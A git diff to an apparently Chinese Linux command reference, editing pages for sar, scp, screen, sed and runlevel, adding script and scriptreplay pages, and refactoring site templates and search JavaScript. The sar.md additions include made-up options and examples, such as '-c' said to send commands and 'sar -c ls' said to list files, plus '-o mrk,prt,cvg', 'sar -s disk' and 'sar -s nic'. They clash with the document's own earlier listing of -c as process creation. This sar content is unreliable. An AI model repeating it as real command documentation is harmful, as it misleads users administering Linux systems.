-7,13 +7,13 @@ runlevel **runlevel命令** 用于打印当前Linux系统的运行等级。 -### 语法 +### 语法 ```shell runlevel ``` -### 知识扩展 +### 知识扩展 linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。 @@ -37,4 +37,3 @@ S s Single user mode linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。 - \ No newline at end of file diff --git a/command/sar.md b/command/sar.md index 57268fa1c5d..fe73f3738b8 100644 --- a/command/sar.md +++ b/command/sar.md @@ -7,39 +7,48 @@ sar **sar命令** 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。 -### 语法 +### 语法 ```shell sar(选项)(参数) ``` -### 选项 +### 选项 ```shell --A:显示所有的报告信息; --b:显示I/O速率; --B:显示换页状态; --c:显示进程创建活动; --d:显示每个块设备的状态; --e:设置显示报告的结束时间; --f:从指定文件提取报告; --i:设状态信息刷新的间隔时间; --P:报告每个CPU的状态; --R:显示内存状态; --u:显示CPU利用率; --v:显示索引节点,文件和其他内核表的状态; --w:显示交换分区状态; --x:显示给定进程的状态。 +-A: 显示所有的报告信息; +-b: 显示I/O速率; +-B: 显示换页状态; +-c: 显示进程创建活动; +-d: 显示每个块设备的状态; +-e: 设置显示报告的结束时间; +-f: 从指定文件提取报告; +-i: 设状态信息刷新的间隔时间; +-n: 报告网络统计信息。 +-P: 报告每个CPU的状态; +-R: 显示内存状态; +-u: 显示CPU利用率; +-v: 显示索引节点,文件和其他内核表的状态; +-w: 显示交换分区状态; +-x: 显示给定进程的状态。 ``` -### 参数 +```shell +-r: 以分页方式显示输出,每页最多显示 100 行。 +-o: 输出选项,指定要显示的列。例如,`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。 +-t: 时间戳选项,指定要在输出中添加时间戳。 +-s: 统计选项,指定要显示的统计数据的类型。例如,`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。 +-c: 选项用于指定要发送的命令。例如,`-c ls` 将显示当前目录中的文件和子目录列表。 +``` + +### 参数 * 间隔时间:每次报告的间隔时间(秒); * 次数:显示报告的次数。 -### 实例 +### 实例 - **察看内存和交换空间的使用率:** +**察看内存和交换空间的使用率:** ```shell sar -r @@ -59,11 +68,48 @@ Average: 324346 964374 74.83 kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。 - **观察系统部件10分钟,并对数据进行排序:** +**观察系统部件10分钟,并对数据进行排序:** ```shell sar -o temp 60 10 ``` +**显示保存在每日数据文件“sa16”中的内存和网络统计信息。** + +```shell +sar -r -n DEV -f /var/log/sa/sa16 +``` + +**查看 CPU 使用率:** + +```shell +sar -t +``` + +**查看磁盘使用率:** + +```shell +sar -s disk +``` + +**查看网络流量:** + +```shell +sar -s nic +``` + +**发送命令到系统服务:** + +```shell +sar -c ls +``` + +**显示系统当前时间戳:** + +```shell +sar -t +%s +``` + +这些只是 `sar` 命令的一些示例,您可以根据具体需求选择不同的选项和参数。 - \ No newline at end of file +注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果,请考虑在系统性能最佳的时候进行监控。 \ No newline at end of file diff --git a/command/scp.md b/command/scp.md index 40352e519ab..44b976d1529 100644 --- a/command/scp.md +++ b/command/scp.md @@ -7,13 +7,13 @@ scp **scp命令** 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。 -### 语法 +### 语法 ```shell scp(选项)(参数) ``` -### 选项 +### 选项 ```shell -1:使用ssh协议版本1; @@ -32,16 +32,16 @@ scp(选项)(参数) -r:以递归方式复制。 ``` -### 参数 +### 参数 * 源文件:指定要复制的源文件。 * 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。 -### 实例 +### 实例 从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。 - **从远处复制文件到本地目录** + **从远程机器复制文件到本地目录** ```shell scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/ @@ -56,7 +56,7 @@ scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-conne ``` 从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。 - **从远处复制到本地** + **从远程机器复制到本地** ```shell scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/ @@ -83,4 +83,4 @@ scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest 上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。 - + diff --git a/command/screen.md b/command/screen.md index 947d12b779d..f3fc24f5372 100644 --- a/command/screen.md +++ b/command/screen.md @@ -17,13 +17,13 @@ screen GNU's Screen 官方站点:http://www.gnu.org/software/screen/ -### 语法 +### 语法 ```shell # screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>] ``` -### 选项 +### 选项 ```shell -A  将所有的视窗都调整为目前终端机的大小。 @@ -40,7 +40,7 @@ GNU's Screen 官方站点:http://www.gnu.org/software/screen/ -wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。 ``` -### 常用screen参数 +### 常用screen参数 ```shell screen -S yourname -> 新建一个叫yourname的session @@ -80,7 +80,7 @@ C-a -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像 C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上 ``` -### 使用 screen +### 使用 screen **安装screen** @@ -156,15 +156,34 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合, 如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话: - **关闭或杀死窗口** + **关闭或杀死一个Screen会话** -正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用C-a k,这个快捷键杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。 +正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用`ctrl`+`a` 键,然后按下`k`键,最后当提示你是否要杀死这个会话时按下`y`键,这个快捷键会杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。 如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。 除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。 -### screen 高级应用  +此外,这里再介绍另外一种快速杀死一个Screen会话的命令: + +```shell +[root@TS-DEV ~]# screen -ls #列出存在的会话 +[root@TS-DEV ~]# screen -XS "会话id或者名称" quit +``` + +**示例:** + +```shell +[root@TS-DEV ~]# screen -ls +There are screens on: + 11235.test (01/25/2021 03:35:31 PM) (Detached) +1 Sockets in /run/screen/S-root. +[root@TS-DEV ~]# screen -XS 11235 quit +#或者 +[root@TS-DEV ~]# screen -XS test quit +``` + +### screen 高级应用  **会话共享** @@ -212,4 +231,3 @@ screen的另一个很强大的功能就是可以在不同窗口之间进行复 以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。 - \ No newline at end of file diff --git a/command/script.md b/command/script.md new file mode 100644 index 00000000000..9ed0290c31e --- /dev/null +++ b/command/script.md @@ -0,0 +1,120 @@ +script +=== + +记录终端会话的所有操作 + +## 补充说明 + +**script** 用于在终端会话中,记录用户的所有操作和命令的输出信息。简而言之,记录终端会话发生的一切信息,如同一台终端录像机。例如,用户在输入某条命令时,字符的键入和删除也都会被记录。用户在终端的所有操作、终端的回显等信息会被以 `raw` 格式存储在日志文件,称为终端数据文件。命令的时间信息会被单独以另一种结构储存为日志文件,称为时间日志文件。使用命令`exit`或者快捷键`Ctrl + D`停止记录。 + + +### 语法 + +```shell +script(选项)(参数) +``` + +### 选项 + +```shell +-a, --append # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容) +-c, --command command # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script + # command 可以是任意能够在终端会话执行的命令 +-e, --return # 返回子进程的退出状态码 +-f, --flush # 每次终端的内容发生变动,立马写入日志文件 +--force # 允许默认输出终端数据文件为符号链接 +-o, --output-limit size # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程 + # size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000) + # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB +-q, --quiet # 安静模式。启动和退出script命令不显示任何提示 +-t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件 +-V, --version # 显示版本信息并退出 +-h, --help # 显示帮助文本并退出 +``` + +### 参数 + +* 终端数据文件:设置存储终端数据信息的文件名称 + +### 实例 + +```shell +script # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件 +script command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件 +script -t 2>time.file command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件 + # 在当前目录创建名称为 time.file 的文件来保存时间日志文件 +``` + + **以追加模式记录终端信息** + +```shell +zfb@localhost:~$ script -t 2>time.file -a -f command.log +Script started, file is command.log +zfb@localhost:~$ echo "hello, world" +hello, world +zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") +2020-12-23 20:48:46 +zfb@localhost:~$ echo "Bye" +Bye +zfb@localhost:~$ ls -al +total 20 +drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . +drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. +-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt +-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt +-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log +-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file +zfb@localhost:~$ exit +Script done, file is command.log +zfb@localhost:~$ +``` + +然后,用户可以查看终端数据文件,使用方法如下 + +```shell +zfb@localhost:~$ cat command.log +Script started on 2020-12-23 20:48:25+08:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="75" LINES="30"] +zfb@localhost:~$ echo "hello, world" +hello, world +zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") +2020-12-23 20:48:46 +zfb@localhost:~$ echo "Bye" +Bye +zfb@localhost:~$ ls -al +total 20 +drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . +drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. +-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt +-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt +-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log +-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file +zfb@localhost:~$ exit + +Script done on 2020-12-23 20:49:04+08:00 [COMMAND_EXIT_CODE="0"] +zfb@localhost:~$ +``` + +其中,只有命令`cat command.log`是用户输入,其他均为自动呈现。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台机器上,都可以重现命令输入与终端回显。 + + **记录服务器用户会话操作** + +以`root`身份编辑文件`/etc/profile`,在文件末尾追加以下内容 + +```bash +if [ $UID -ge 0 ] +then + exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log +fi +``` + +然后再以`root`身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息 + +```bash +sudo mkdir -p /var/log/script-records/ +sudo chmod 733 /var/log/script-records/ +``` + +最后,执行命令`source /etc/profile`即可。任意用户(`UID ≥ 0`)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。 + + + diff --git a/command/scriptreplay.md b/command/scriptreplay.md new file mode 100644 index 00000000000..1715de3326f --- /dev/null +++ b/command/scriptreplay.md @@ -0,0 +1,93 @@ +scriptreplay +=== + +重新播放终端会话的所有操作 + +## 补充说明 + +**scriptreplay** 用于在终端中,根据 `script` 命令记录的终端数据文件和时间日志文件,重现当时用户的所有操作和命令的输出信息。简而言之,重现播放当时终端会话发生的一切信息,而不是重新运行一遍命令。例如,用户当时在输入某条命令时,字符的键入和删除也都会被重现。非常适合用于教程演示场合。而且,在机器 A 上面使用 `script` 命令记录终端操作,可以在机器 B 上面使用 `scriptreplay` 命令重新播放。 + + +### 语法 + +```shell +scriptreplay [options] [-t] timingfile [typescript [divisor]] +``` + +### 选项 + +```shell +-t, --timing file # 记录时间日志的文件名称 +-s, --typescript file # 记录终端数据信息的日志文件名称 +-d, --divisor number # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number + # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍 +-m, --maxdelay number # 表示命令之间的最大延迟时间(单位是秒) + # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放 +-V, --version # 显示版本信息并退出 +-h, --help # 显示帮助文本并退出 +``` + +### 参数 + +* 时间日志文件:存储时间日志信息的文件名称 +* 终端数据文件:存储终端数据信息的文件名称 + +### 实例 + +```shell +# 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件 +scriptreplay time.file command.log +# 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒 +scriptreplay -d 1 -m 2 -t time.file -s command.log +``` + + **记录终端内容到文件** + +```shell +zfb@localhost:~$ script -t 2>time.file -a -f command.log +Script started, file is command.log +zfb@localhost:~$ echo "hello, world" +hello, world +zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") +2020-12-23 20:48:46 +zfb@localhost:~$ echo "Bye" +Bye +zfb@localhost:~$ ls -al +total 20 +drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . +drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. +-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt +-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt +-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log +-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file +zfb@localhost:~$ exit +Script done, file is command.log +zfb@localhost:~$ +``` + + **重新播放终端内容** + +```shell +zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log +zfb@localhost:~$ echo "hello, world" +hello, world +zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S") +2020-12-23 20:48:46 +zfb@localhost:~$ echo "Bye" +Bye +zfb@localhost:~$ ls -al +total 20 +drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . +drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. +-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt +-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt +-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log +-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file +zfb@localhost:~$ exit + +zfb@localhost:~$ +``` + +其中,只有命令`scriptreplay -d 1 -m 2 -t time.file -s command.log`是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台支持`scriptreplay`命令的机器上,都可以动态重现命令输入与终端回显。 + + diff --git a/command/sed.md b/command/sed.md index b3981ed2e92..416c271f25e 100644 --- a/command/sed.md +++ b/command/sed.md @@ -5,7 +5,7 @@ sed ## 补充说明 -**sed** 是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。 +**sed** 是一种流编辑器,它是文本处理中非常重要的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。 ## sed的选项、命令、替换标记 @@ -16,7 +16,7 @@ sed [options] 'command' file(s) sed [options] -f scriptfile file(s) ``` -### 选项 +### 选项 ```shell -e -<%- include('footer',{type: "list"}); %> \ No newline at end of file +<%-mdhtml%> + + +<%- include('widget/footer',{type: "list"}); %> +<%- include('partial/footer'); %> \ No newline at end of file diff --git a/template/footer.ejs b/template/footer.ejs deleted file mode 100644 index 0b5d7de58d1..00000000000 --- a/template/footer.ejs +++ /dev/null @@ -1,23 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/template/hot.ejs b/template/hot.ejs index bb2f0e68b3d..73d79b5c364 100644 --- a/template/hot.ejs +++ b/template/hot.ejs @@ -1,7 +1,5 @@ - -<%- include('header',{src:""}); %> -<%- include('search',{type: "list"}); %> - +<%- include('partial/header'); %> +<%- include('widget/search',{type: "list"}); %>
    <%describe.arr.forEach(function(page,item){%> @@ -9,5 +7,5 @@ <%});%>
- -<%- include('footer',{type: 'list'}); %> \ No newline at end of file +<%- include('widget/footer',{type: "list"}); %> +<%- include('partial/footer'); %> diff --git a/template/index.ejs b/template/index.ejs index 184166019bb..3095891f069 100644 --- a/template/index.ejs +++ b/template/index.ejs @@ -1,4 +1,6 @@ - -<%- include('header'); %> -<%- include('search',{type: "index"}); %> -<%- include('footer',{type: "index"}); %> \ No newline at end of file +<%- include('partial/header'); %> +
+<%- include('widget/search',{type: "home"}); %> +<%- include('widget/footer',{type: "home"}); %> +
+<%- include('partial/footer'); %> \ No newline at end of file diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js new file mode 100644 index 00000000000..20345e0759f --- /dev/null +++ b/template/js/copy-to-clipboard.js @@ -0,0 +1,11 @@ +/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wong | https://github.com/uiwjs/copy-to-clipboard.git */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); + +function copied(target, str) { + target.classList.add('active'); + copyTextToClipboard(target.dataset.code, function() { + setTimeout(() => { + target.classList.remove('active'); + }, 2000); + }); +} diff --git a/template/js/index.js b/template/js/index.js index 0083e864035..0bd462949d6 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -1,135 +1,191 @@ +/** +* 对数组进行排序,作为 Array.sort() 回调函数使用 +*/ +const sortArray = function (a, b) { + return a.nIdx - b.nIdx; +} +/** + * 判断 indexOf() 是否捕获到了搜索词 + * @returns {boolean} 是否捕获 + */ +function indexOfCatch(a) { + return a > -1 +} (function () { - function Commands() { - var $$ = this.$$; - this.commands = linux_commands || []; - this.elm_query = $$('query'); - this.elm_btn = $$('search_btn'); - this.elm_result = $$('result'); - this.elm_search_result = $$('search_list_result'); - - // 获取根路径 - this.root_path = (function () { - var elm_path = $$('current_path'); - var url = window.location.origin + window.location.pathname; - return elm_path ? url.replace(/\/(c\/)?\w+\.html/, '').replace(/\/$/, '') : ''; - })(); - - this.query = ''; // - this.query_size = 5; //搜索框结果显示5条 - this.page_size = 50; //每页显示20条 + class Commands { + query = '' + query_size = 5 //搜索框结果显示5条 + page_size = 50 //每页显示20条 + $$(id) { + return document.getElementById(id) + } + constructor() { + function $$(id) { + return document.getElementById(id) + } + this.commands = linux_commands || []; + this.elm_query = $$('query'); + this.elm_btn = $$('search_btn'); + this.elm_result = $$('result'); + this.elm_search_result = $$('search_list_result'); - this.init() - this.goToIndex() - } + // 获取根路径 + this.root_path = (function () { + let elm_path = $$('current_path'); + let url = window.location.origin + window.location.pathname; + return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; + })(); - Commands.prototype = { - $$: function (id) { - return document.getElementById(id) - }, - goToIndex: function () { - var elma = document.getElementsByTagName('A'); - for (var i = 0; i < elma.length; i++) { - if (elma[i].pathname === '/') elma[i].href = this.root_path + '/'; + this.init(); + this.goToIndex(); + } + /** + * 前往主页 + * @memberof Commands + */ + goToIndex() { + let elma = document.getElementsByTagName('A'); + for (let i = 0; i < elma.length; i++) { + if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) { + elma[i].href = this.root_path + '/'; + } } - }, - bindEvent: function (elm, type, handle) { - if (elm.addEventListener) { - elm.addEventListener(type, handle, false); - } else if (elm.attachEvent) { - elm.attachEvent('on' + type, handle); + } + /** + * 绑定事件 + * 该函数有兼容性处理 + * @param {HTMLElement} element 需要绑定事件的元素 + * @param {*} type 需要绑定的类型 + * @param {*} callback 事件触发回调 + * @memberof Commands + */ + bindEvent(element, type, callback) { + if (element.addEventListener) { + element.addEventListener(type, callback, false); + } else if (element.attachEvent) { + element.attachEvent('on' + type, callback); } - }, - isSreachIndexOF: function (oldstr, kw) { - var istrue = -1; + } + isSreachIndexOF(oldstr, kw) { if (!oldstr || !kw) return -1; return oldstr.toLowerCase().indexOf(kw.toLowerCase()); - }, + } //获取URL上面的参数 - getQueryString: function (name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); + getQueryString(name) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + let r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); if (r != null) return unescape(r[2]); return null; - }, - pushState: function () { + } + /** + * 通过 window.history 设置地址栏的地址 + * @memberof Commands + */ + pushState() { if (window.history && window.history.pushState) - this.query ? history.pushState({}, "linux_commands", "#!kw=" + this.query) : + if (this.query) { + history.pushState({}, "linux_commands", `#!kw=${this.query}`) + } else { history.pushState({}, "linux_commands", window.location.pathname); - }, - //简单模版 - simple: function (str, obj) { + } + } + /** + * 一个简单的模板函数 + * + * @param {string} str 传入的 HTML 模板 + * @param {object} obj 一个对象,用于放置在 HTML 模板中 + * @return {string} 经过处理的 HTML 模板 + * @memberof Commands + */ + simple(str, obj) { return str.replace(/\$\w+\$/gi, function (matchs) { - var returns = obj[matchs.replace(/\$/g, "")]; + let returns = obj[matchs.replace(/\$/g, "")]; return typeof returns === "undefined" ? "" : returns; }) - }, - createKeyworldsHTML: function (json, keywolds, islist) { - var name = json.n, des = json.d, self = this, - reg = new RegExp("(" + keywolds + ")", "ig"), - str = ''; + } + /**创建 keyworlds HTML + * @param {*} json 根据这段 JSON 生成 + * @param {*} keywolds 关键字 + * @param {*} islist 表示这是否是一个列表 + * @return {*} 返回一个 HTML 字符串 + */ + createKeyworldsHTML(json, keywolds, islist) { + const listHTML = '

' + const replaceHTML = `$1` + let name = json.n + let des = json.d + let reg = new RegExp(`(${keywolds})`, "ig") if (keywolds) { - name = json.n.replace(reg, '' + "$1" + ""); - des = json.d.replace(reg, '' + "$1" + "") || ''; + name = json.n.replace(reg, replaceHTML); + des = json.d.replace(reg, replaceHTML) || ''; } - - var rootp = this.root_path.replace(/\/$/, ''); - str = islist ? '$name$ - $des$

' : '$name$ - $des$'; + let rootp = this.root_path.replace(/\/$/, ''); + const str = `$name$ - $des$${islist ? listHTML : ''}` return this.simple(str, { - name: name, + name, url: json.p, - des: des + des }); - }, - /** - * [searchResult ] - * @param {[type]} islist [是否为列表] - */ - searchResult: function (islist) { - var arr = this.commands, self = this, i = 0, - page_size = arr.length, - arrResultHTML = [], - resultData = [], - show_list_count = islist ? this.page_size : this.query_size; - if (arr && arr.length && toString.call(arr).indexOf('Array') > -1) { - for (; i < page_size; i++) { + } + /**搜索结果 + * @param {boolean} islist 是否为列表*/ + searchResult(islist = false) { + let arr = this.commands + const self = this + let page_size = arr.length + let arrResultHTML = [] + const show_list_count = islist ? this.page_size : this.query_size; + let nameArr = [], desArr = []; + if (indexOfCatch(arr && arr.length && toString.call(arr).indexOf('Array'))) { + for (let i = 0; i < page_size; i++) { if (!arr[i]) break; - var nIdx = self.isSreachIndexOF(arr[i].n, self.query); - var dIdx = self.isSreachIndexOF(arr[i].d, self.query); - if (nIdx > -1 || dIdx > -1) { - var json = arr[i]; + const nIdx = self.isSreachIndexOF(arr[i].n, self.query); + const dIdx = self.isSreachIndexOF(arr[i].d, self.query); + let json = arr[i]; + if (indexOfCatch(nIdx)) { json.nIdx = nIdx; + nameArr.push(json); + } else if (indexOfCatch(dIdx)) { json.dIdx = dIdx; - resultData.push(json); + desArr.push(json); } } } - resultData.sort(function (a, b) { - if (a.nIdx === -1 || b.nIdx === -1) { - return 1; - } - return a.nIdx - b.nIdx - }); - resultData = resultData.slice(0, show_list_count); + nameArr.sort(sortArray); + desArr.sort(sortArray); - for (i = 0; i < resultData.length; i++) { - arrResultHTML.push(self.createKeyworldsHTML(resultData[i], self.query, islist)); - } - var elm = islist ? this.elm_search_result : this.elm_result; - elm.innerHTML = ''; - for (var i = 0; i < arrResultHTML.length; i++) { - var myLi = document.createElement("LI"); - myLi.innerHTML = arrResultHTML[i]; - elm.appendChild(myLi); - } - if (arrResultHTML.length === 0) { - var myLi = document.createElement("LI"); - myLi.innerHTML = '' + this.query ? '请尝试输入一些字符,进行搜索!' + '' : '没有搜索到任何内容,请尝试输入其它字符!'; - elm.appendChild(myLi); + + const resultData = nameArr.concat(desArr).slice(0, show_list_count); + resultData.forEach(a => { + arrResultHTML.push(self.createKeyworldsHTML(a, self.query, islist)); + }) + + /** @type {HTMLElement} */ + let elm = islist ? this.elm_search_result : this.elm_result; + elm.innerHTML = '' + arrResultHTML.forEach((result, i) => { + const el = document.createElement('li') + el.innerHTML = result + elm.appendChild(el); + }) + if (!arrResultHTML.length) { + const noResultTipHTML = document.createElement("LI"); + const tipSpan = document.createElement("span") + const nullQueryStringTips = `请尝试输入一些字符,进行搜索!` + const undefinedQueryTips = `没有搜索到任何内容,请尝试输入其它字符!` + tipSpan.innerText = this.query ? undefinedQueryTips : nullQueryStringTips + noResultTipHTML.appendChild(tipSpan); + elm.appendChild(noResultTipHTML); } - }, - // 选中搜索结果效果 - selectedResult: function (type) { - var items = this.elm_result.children; - var index = 0; + } + /** + * 移动搜索结果的光标 + * @param {"up"|"down"} type 触发事件类型 + * @memberof Commands + */ + selectedResult(type) { + /** @type {Array} */ + let items = this.elm_result.children; + let index = 0; for (var i = 0; i < items.length; i++) { if (items[i].className == 'ok') { items[i].className = ''; @@ -139,78 +195,73 @@ }; }; if (items[index]) items[index].className = 'ok'; - }, + } // 是否选中搜索结果 - isSelectedResult: function () { - var items = this.elm_result.children; - var isSel = false; - for (var i = 0; i < items.length; i++) { + isSelectedResult() { + let items = this.elm_result.children; + let isSel = false; + for (let i = 0; i < items.length; i++) { if (items[i].className == 'ok') { isSel = items[i]; break; }; }; return isSel; - }, - init: function () { - var self = this; - var kw = self.getQueryString('kw'); - var timer = null + } + init() { + /** + * 设定搜索结果的 CSS display 属性 + * + * @param {string} [inputDisplay='none'] + */ + function setdisplay(inputDisplay) { + self.elm_result.style.display = inputDisplay || 'none' + } + let self = this; + let kw = self.getQueryString('kw'); this.elm_query.value = kw; this.query = kw || ''; if (this.elm_search_result) self.searchResult(true); this.bindEvent(this.elm_query, 'input', function (e) { self.query = e.target.value; - self.pushState() if (self.query) { self.searchResult(); } else { - self.elm_result.style.display = 'none'; + setdisplay() } if (!self.elm_search_result) { - self.elm_result.style.display = self.query ? 'block' : 'none'; + setdisplay(self.query ? 'block' : 